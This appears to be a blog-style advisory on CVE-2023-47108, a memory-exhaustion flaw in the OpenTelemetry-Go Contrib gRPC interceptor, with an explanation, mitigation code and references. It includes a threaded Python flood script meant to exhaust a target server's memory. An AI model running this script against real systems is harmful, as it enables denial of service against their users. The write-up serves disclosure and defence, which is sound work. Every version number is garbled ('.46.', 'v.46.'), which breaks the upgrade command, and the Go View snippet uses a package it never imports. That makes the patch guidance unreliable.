CVE-2023-47108 - Memory Exhaustion in OpenTelemetry-Go Contrib gRPC Server Interceptor

OpenTelemetry is a popular observability framework that helps developers monitor and troubleshoot their applications by collecting telemetry data (like logs, metrics, and traces). The Go language has its own OpenTelemetry implementation, and there’s a collection of contributed packages at OpenTelemetry-Go Contrib.

What is CVE-2023-47108?

CVE-2023-47108 is a vulnerability discovered in the OpenTelemetry-Go Contrib package, affecting its gRPC instrumentation prior to version .46.. This vulnerability enables an attacker to exhaust server memory by sending a flood of malicious requests—with each request generating unique metric labels. This can lead to denial-of-service (DoS) for legitimate users.

The Problem: Unbound Metric Labels

The key issue is the way gRPC’s Unary Server Interceptor creates labels by default. Two attributes—net.peer.sock.addr and net.peer.sock.port—are populated from each incoming connection. These labels are added as metric tags without any restriction on their number or uniqueness. If an attacker sends lots of requests from different (or spoofed) addresses and ports, the underlying server can quickly run out of memory, since OpenTelemetry tries to store metrics for each unique label set.

Suppose we’re running a gRPC server with OpenTelemetry’s default gRPC interceptor, like this

import (
    "google.golang.org/grpc"
    "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc"
)

srv := grpc.NewServer(
    grpc.UnaryInterceptor(otelgrpc.UnaryServerInterceptor()), // This line is vulnerable
)

An attacker could use a simple script that repeatedly connects to this server, each time using a different source address or port (or via a botnet), creating a new metric label on each request. The server’s memory footprint grows and grows—and eventually crashes or slows to a crawl.

Example Exploit Script (Python)

import grpc
import threading

def flood(server_address, n_requests):
    for _ in range(n_requests):
        # Each thread => new client, random local port
        try:
            with grpc.insecure_channel(server_address) as channel:
                stub = channel.unary_unary('/helloworld.Greeter/SayHello')
                response = stub(b'{"name":"evil"}')
        except Exception as e:
            pass  # Ignore errors

threads = []
for i in range(100):
    t = threading.Thread(target=flood, args=('server:50051', 100))
    threads.append(t)
    t.start()

*Note: The above is for demo/education purpose only. Don’t actually attack systems you don’t own!*

Fixed in Version .46.

The vulnerability was fixed in version .46. of OpenTelemetry-Go Contrib. The fix was to not add the unbounded net.peer.sock.addr and net.peer.sock.port attributes by default to metrics.

- Official security advisory
- PR with the fix

Update your dependencies

go get go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v.46.

1. Filter out attributes using a View

OpenTelemetry metrics allow you to filter labels (attributes) via a "view." You can define a view to remove the dangerous attributes on startup.

import (
    "go.opentelemetry.io/otel/sdk/metric"
)

meterProvider := metric.NewMeterProvider(
    metric.WithView(
        metric.NewView(
            metric.Instrument{Name: "*"},
            metric.Stream{AttributeFilter: func(a attribute.KeyValue) bool {
                // Remove net.peer.sock.addr and net.peer.sock.port
                return a.Key != "net.peer.sock.addr" && a.Key != "net.peer.sock.port"
            }},
        ),
    ),
)

If metrics aren’t needed, simply disable them when you create the interceptor

import (
    "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc"
    "go.opentelemetry.io/otel/metric/noop"
)

srv := grpc.NewServer(
    grpc.UnaryInterceptor(
        otelgrpc.UnaryServerInterceptor(
            otelgrpc.WithMeterProvider(noop.NewMeterProvider()),
        ),
    ),
)

References

- GitHub Advisory GHSA-pwhc-64vj-cmvq
- Pull Request fixing the bug
- Release notes .46.
- CVE Details for CVE-2023-47108
- OpenTelemetry-Go Contrib Main Page

Conclusion

CVE-2023-47108 is a great example of how even non-obvious details (like metric label cardinality) can pose serious security threats. Always keep dependencies up to date—and learn how to audit the labels/tags your application exports for telemetry!

If you use OpenTelemetry for gRPC servers in Go, make sure you’re on version .46. or later, or use the workarounds above. Spread the word and help keep the Go and OpenTelemetry ecosystem solid!

Timeline

Published on: 11/10/2023 19:15:16 UTC
Last modified on: 11/20/2023 19:34:26 UTC